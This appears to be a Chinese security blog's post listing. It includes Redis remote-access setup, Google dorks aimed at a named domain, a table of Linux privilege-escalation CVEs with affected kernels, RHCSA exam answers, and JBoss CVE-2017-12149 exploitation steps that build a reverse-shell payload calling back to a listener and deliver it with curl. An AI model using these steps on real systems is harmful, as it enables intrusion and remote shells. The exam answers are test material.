3Years - TotoroLMva 浪迹在上海的信息安全大学狗 我信仰的是信仰

分类 自动工具 下的文章

11月 01

Redis未授权漏洞测试工具

1、安装Redis
2、编辑/etc/redis.conf

vim /etc/redis.conf

2.1、去掉ip绑定,允许除本地外的主机远程登录redis服务
去掉ip绑定,允许除本地外的主机远程登录redis服务:

2.2、关闭保护模式,允许远程连接redis服务:
关闭保护模式,允许远程连接redis服务:

redis-cli -h XXX.XXX.XXX.XXX 
05月 28

Google语法搜索漏洞

1目录遍历漏洞

语法为: site:jiebao8.top intitle:index.of

2 配置文件泄露

语法为: site:jiebao8.top ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini

3数据库文件泄露

site:jiebao8.top ext:sql | ext:dbf | ext:mdb

4日志文件泄露

site:jiebao8.top ext:log

5备份和历史文件

site:jiebao8.top ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup

6 SQL错误

site:jiebao8.top intext:”sql syntax near” | intext:”syntax error has occurred” | intext:”incorrect syntax near” | intext:”unexpected end of SQL command” | intext:”Warning: mysql_connect()” | intext:”Warning: mysql_query()” | intext:”Warning: pg_connect()”

7 公开文件信息

site:jiebao8.top ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv

8 phpinfo() site:jiebao8.top ext:php intitle:phpinfo “published by the PHP Group”

05月 17

大牛总结的Linux提权Exp合集

项目下载地址:https://github.com/SecWiki/linux-kernel-exploits




#CVE  #Description  #Kernels
 
CVE-2017-1000367  [Sudo]
(Sudo 1.8.6p7 - 1.8.20)
 
CVE-2017-7494  [Samba Remote execution]
(Samba 3.5.0-4.6.4/4.5.10/4.4.14)
 
CVE-2016-5195  [Dirty cow]
(Linux kernel>2.6.22 (released in 2007))
 
CVE-2016-0728  [pp_key]
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
 
CVE-2015-7547  [glibc getaddrinfo]
(before Glibc 2.9)
 
CVE-2015-1328  [overlayfs]
(3.13, 3.16.0, 3.19.0)
 
CVE-2014-5284  [OSSEC]
(2.8)
 
CVE-2014-4699  [ptrace]
(before 3.15.4)
 
CVE-2014-4014  [Local Privilege Escalation]
(before 3.14.8)
 
CVE-2014-3153  [futex]
(3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)
 
CVE-2014-0196  [rawmodePTY]
(2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)
 
CVE-2014-0038  [timeoutpwn]
(3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
 
CVE-2013-2094  [perf_swevent]
(3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9)
 
CVE-2013-0268  [msr]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6)
 
CVE-2012-3524  [libdbus]
(libdbus 1.5.x and earlier)
 
CVE-2012-0056  [memodipper]
(2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0)
 
CVE-2010-4347  [american-sign-language]
(   2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-4258  [full-nelson]
(2.6.31, 2.6.32, 2.6.35, 2.6.37)
 
CVE-2010-4073  [half_nelson]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3904  [rds]
(2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3437  [pktcdvd]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3301  [ptrace_kmod2]
(2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
 
CVE-2010-3081  [video4linux]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33)
 
CVE-2010-2959  [can_bcm]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-1146  [reiserfs]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
 
CVE-2010-0415  [do_pages_move]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
 
CVE-2009-3547  [pipe.c_32bit]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
 
CVE-2009-2698  [udp_sendmsg_32bit]
(2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19)
 
CVE-2009-2692  [sock_sendpage]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
 
CVE-2009-2692  [sock_sendpage2]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
 
CVE-2009-1337  [exit_notify]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
 
CVE-2009-1185  [udev]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
 
CVE-2008-4210  [ftrex]
(2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22)
 
CVE-2008-0600  [vmsplice2]
(2.6.23, 2.6.24)
 
CVE-2008-0600  [vmsplice1]
(2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1)
 
CVE-2006-3626  [h00lyshit]
(2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16)
 
CVE-2006-2451  [raptor_prctl]
(2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)
 
CVE-2005-0736  [krad3]
(2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)
 
CVE-2004-1235  [elflbl]
(2.4.29)
 
CVE-N/A  [caps_to_root]
(2.6.34, 2.6.35, 2.6.36)
 
CVE-2004-0077  [mremap_pte]
(2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27)
12月 26

RHCSA题目

RHCSA 7

考试注意事项

1、考试分为上午RHCSA考试,下午RHCE考试 2、考试时间上午2.5小时,下午3.5个小时
3、总分都是300分,>=210成绩就算通过考试 4、准备签字笔、身份证 5、考试时要填写姓名(拼音)与邮箱,请注意保持一致
6、每人一台物理机,考试都是在虚拟机里面操作。物理机上有各种图标,来用操作虚拟机,比如重启,关机,重置等。
7、考试中如有不清楚请及时与考官联系

注意:

  1. 所有的光盘中的软件包考试的时候会给出
  2. 升级软件包所在目录也会给出
  3. 你可以用真实机来验证虚拟机中的考试实验是否正确完成
  4. 考题中出现的 X,是你宿主机的IP 地址主机位
  5. example.com 域所在的网络是192.168.0.0/24 cracker.com 域所在的网络是172.16.0.0/16,一般在题意中被要求拒绝的网络
  6. RHCSA 部分,在system1 主机上完成。RHCE 部分,在system1 和system2 上完成。考试前是进入不了虚拟机的,需要恢复其root密码,并设置好主机名、IP地址、掩码、网关、DNS服务器等。
  1. 恢复root密码
(1)按e编辑grub菜单 
(2)选择linux16那行,追加rd.break 
(3)ctrl+x引导 
(4)#mount  -o  remount,rw  /sysroot 
(5)#chroot  /sysroot 
(6)#passwd  root 
(8)    #touch  /.autorelabel
(8)#exit
(9)#exit
  1. 配置主机名,ip 地址,网关,DNS。主机名:serverX.example.com, IP:192.168.0.150+X/24,网关:192.168.0.254,DNS:192.168.0.254
    (X 是你的机器号)
hostnamectl  set-hostname  serverX.example.com
vim  /etc/sysconfig/network-scriptcs/ifcfg-eth0

配置为:

BOOTPROTO=none
IPADDR=192.168.0.150+X
NETMASK=255.255.255.
GATEWAY=192.168.0.254
DNS1=192.168.0.254
ONBOOT=yes
systemctl  restart  network 
vim  /etc/resolv.conf
nameserver  192.168.0.254
  1. SElinux 必须运行在Enforcing模式下。
vim  /etc/sysconfig/selinux
SELINUX=enforcing
Reboot
  1. 配置YUM源,使用地址http://classroom.example.com/rhel7/dvd作为默认的源

vim  /etc/yum.repos.d/rhel.repo

配置为:

[packages] 
name = packages
baseurl= http://classroom.example.com/rhel7/dvd
gpgcheck = 0
  1. 调整逻辑卷home的大小为300M,确保这个文件系统的内容仍然完整。注意:分区很少能精确到和要求的大小相同,因此在范围260M到320M之间都是可接受的
df  -hT            //查看到文件系统类型
lvresize  -L  300M  /dev/vgsrv/home
resize2fs  /dev/vgsrv/home        //ext4文件系统
xfs_growfs  /dev/vgsrv/home      //xfs文件系统
  1. 创建下面的用户、组和组成员关系: 名字为adminuser的组,用户natasha,使用adminuser作为附属组,用户harry,也使用adminuser作为附属组,用户sarah,在系统上不能访问可交互的shell,且不是adminuser的成员,natasha,harry,sarah密码都是redhat
groupadd  adminuser 
useradd  -G  adminuser  natasha 
useradd  -G  adminuser  harry 
useradd  -s  /sbin/nologin  sarah 
echo  "redhat" |passwd  --stdin  natasha         //或者用passwd命令改用户密码
echo  "redhat" |passwd  --stdin  harry 
echo  "redhat" |passwd  --stdin  sarah
  1. 复制文件/etc/fstab到/var/tmp/fstab,配置/var/tmp/fstab的权限如下: 文件/var/tmp/fstab所有者是root,文件/var/tmp/fstab属于root组, 文件/var/tmp/fstab不能被任何用户执行,用户natasha可读和可写/var/tmp/fstab,用户harry既不能读也不能写/var/tmp/fstab,所有其他用户(现在和将来)具有读/var/tmp/fstab的能力
cp  /etc/fstab  /var/tmp/ 
ls  -l  /var/tmp/fstab                     //查看文件的权限信息
setfacl  -m  u:natasha:rw  /var/tmp/fstab 
setfacl  -m  u:harry:-  /var/tmp/fstab
  1. 用户natasha必须配置一个cron job ,当地时间每天14:23运行,执行/bin/echo hiya
crontab  -e  -u  natasha 
23  14  *  *  *  /bin/echo  hiya
  1. 创建一个目录/home/admins,使之具体下面的特性:/home/admins所属组为adminuser这个目录对组adminuser的成员具有可读、可写和可执行,但是不是对其他用户。(root可以访问系统上所有的文件和目录)在/home/admins 下创建的任何文件所属组自动设置为adminuser
mkdir  /home/admins 
chgrp  adminuser  /home/admins 
chmod  2770  /home/admins 
ls  -ld  /home/admins                 //查看目录的权限信息
  1. http://classroom.example.com/rhel7/updates 安装合适的内核更新。下面的要求必须满足:更新的内核作为系统启动的默认内核,原来的内核在系统启动的时候仍然有效和可引导
vim  /etc/yum.repos.d/updates.repo

配置为

[updates]
name=updates
baseurl=http://classroom.example.com/rhel7/updates
gpgcheck=0
yum  update  kernel
reboot
  1. 系统classroom.example.com提供了一个LDAP证服务,你的系统应该按下面的要求绑定到这个服务:验证服务的基准DN是dc=example,dc=com,LDAP用于提供账号信息和验证信息链接应该使用位于:http://classroom.example.com/pub/example-ca.crt的证书加密当正确的配置后,IdapuserX可以登录你的系统,但没有家目录直到你完成autofs题目IdapuserX的密码是’password’
# yum  –y  install  sssd  authconfig-gtk  openldap-*  krb5-*
# authconfig-gtk 
 上午考试选择LDAP
 
#  su - ldapuserX
su: warning: cannot change directory to /home/guests/ldapuser1: No such file or directory 
mkdir: cannot create directory '/home/guests': Permission denied 
-bash-4.2$
  1. 配置你的系统使它是classroom.example.com的一个NTP客户
yum  –y  install  chrony 
vim  /etc/chrony.conf 
#server 0.rhel.pool.ntp.org iburst
#server 1.rhel.pool.ntp.org iburst
#server 2.rhel.pool.ntp.org iburst
#server 3.rhel.pool.ntp.org iburst
server  classroom.example.com  iburst 
systemctl  restart  chronyd 
systemctl  enable  chronyd 
chronyc  sources  -v
  1. 配置autofs自动挂载LDAP用户的家目录,如下要求: classroom.example.com使用NFS共享了/rhome给你的系统。这个文件系统包含了预先设置好的用户IdapuserX的家目录是classroom.example.com:/rhome/IdapuserX,IdapuserX的家目录应该自动挂载到本地/home/guests,下面的/home/guests/IdapuserX家目录必须对用户具有可写权限IdapuserX的密码是’password’
yum  install  autofs  -y 
vim  /etc/auto.master

配置为:

/home/guests  /etc/auto.misc
vim  /etc/auto.misc
*   -fstype=nfs,rw  192.168.0.254:/rhome/&
(或者写:ldapuser15      -fstype=nfs,rw  192.168.0.254:/rhome/ldapuser15)
systemctl  restart  autofs 
systemctl  enable  autofs 
su  -  ldapuserX
  1. 创建一个用户alex,uid为1234。这个用户的密码为redhat。
useradd  -u  1234  alex 
echo  redhat |passwd  --stdin  alex
  1. 为你的系统上额外添加一个大小为512M的交换分区,这个交换分区在系统启动的时候应该能自动挂载。不要移除和更改你系统上现存的交换分区。
fdisk  /dev/vda
partprobe 
mkswap  /dev/vda5
swapon  /dev/vda5
vim  /etc/fstab
/dev/vda5    swap    swap    defaults    0 0
  1. 找出所有者是natasha的文件,并把他们拷贝到/root/findfiles目录。
mkdir  /root/findfiles 
find  /  -user  natasha  -exec  cp  -rp  {}  /root/findfiles/  \;
  1. 在/usr/share/dict/linux.words中找出所有包含abrot的行。复制所有这些行并按照原来的顺序放在文件/root/grepfile.txt中。/root/grepfile.txt应该没有空白行,所有的行必须是原有行的精确复制。
grep  abrot  /usr/share/dict/linux.words  >  /root/grepfile.txt
  1. 创建名为/root/backupetc.tar.gz的备份文件,其中包含/etc的内容,tar必须使用gzip压缩。 bzip
tar  zcvf  /root/backupetc.tar.gz  /etc    tar jcvf  /root/backupetc.tar.bz2  /etc
  1. 按照下面的要求创建一个新的逻辑卷:逻辑卷命名为database,属于卷组datastore,且大小为20个PE。在卷组datastore的逻辑卷每个PE的大小为16M。使用ext3格式化这个新的逻辑卷.此逻辑卷在系统启动的时候应该能自动挂载到/mnt/database。
fdisk  /dev/vda
partprobe  
pvcreate  /dev/vda6
vgcreate  -s  16M  datastore  /dev/vda6     //如果创建错误,就删除VG:vgremove  /dev/datastore 删除 VG
lvcreate  -n  database  -l  20  datastore
lvdisplay  /dev/datastore/database 
mkfs.ext3  /dev/datastore/database 
mkdir   /mnt/database

vim  /etc/fstab
/dev/datastore/database    /mnt/database    ext3     defaults     0  0
mount   -a
df   -hT
11月 30

CVE-2017-12149 JBOSSAS6.X 反序列化漏洞

POC文件下载
URL后面拼接

/invoker/readonly/

来判断漏洞是否存在、如果报500便是存在。

步骤1:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

步骤2:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port (nc监听IP及端口)

步骤3

curl http://xxxxx:81/invoker/readonly –data-binary @ReverseShellCommonsCollectionsHashMap.ser